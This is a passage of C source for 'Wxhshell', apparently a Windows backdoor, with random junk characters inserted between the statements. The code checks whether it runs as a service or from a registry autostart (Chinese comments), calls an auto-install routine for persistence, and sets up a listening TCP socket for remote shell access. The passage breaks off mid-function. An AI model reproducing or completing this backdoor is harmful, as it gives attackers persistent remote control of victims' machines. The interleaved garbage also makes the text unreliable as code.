TW NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); JB'qiuhab <"NyC?b+G if (!NtQueryInformationProcess) return 0; _s@bz|yqw 6 <r2*` hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 09x+Tko9;* if(!hProcess) return 0; \v s%U}IrO T"A^[r* if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t!l/` e%J I W8. CloseHandle(hProcess); hqWPf z-)*Q hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P[1m0!,B if(hProcess==NULL) return 0; 8 +L7E- J2Y 3er HMODULE hMod; xLLC)~ char procName[255]; ,?#*eJD unsigned long cbNeeded; FB.!`%{ ~\-r if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));
j$%yw4dsj )j(fWshP CloseHandle(hProcess); B{N=0 cSi j`+0.Zlq if(strstr(procName,"services")) return 1; // 以服务启动 1O- E], ^VC7C~NZ!M return 0; // 注册表启动 ?bn;{c;E } CElPU`J,\[ &:C{/QnA // 主模块 3P3:F2S R int StartWxhshell(LPSTR lpCmdLine) `L+~&M { bA0uGLc SOCKET wsl; xan/ay> BOOL val=TRUE; &,_?>.\[< int port=0; qU}lGf!dVn struct sockaddr_in door; U"/yB8!W
}Olr if(wscfg.ws_autoins) Install(); g8rp|MOH hq]xmM?& port=atoi(lpCmdLine); a$laRtId7 nh?9R& if(port<=0) port=wscfg.ws_port; rSzQUn< ja L$LJV WSADATA data; @\S]]oLn if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @yCW8] P7cge if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; %
i%ew4 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %f>X-*}NI- door.sin_family = AF_INET; (v|ixa door.sin_addr.s_addr = inet_addr("127.0.0.1"); p"g1V7B door.sin_port = htons(port); D8q3TyCj% Rd .U;> if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;K>{_kf closesocket(wsl); )A"ZV[eOoQ return 1; XX*'N+ } 8H&_, ; rL.<Z@- if(listen(wsl,2) == INVALID_SOCKET) { ^l&nB |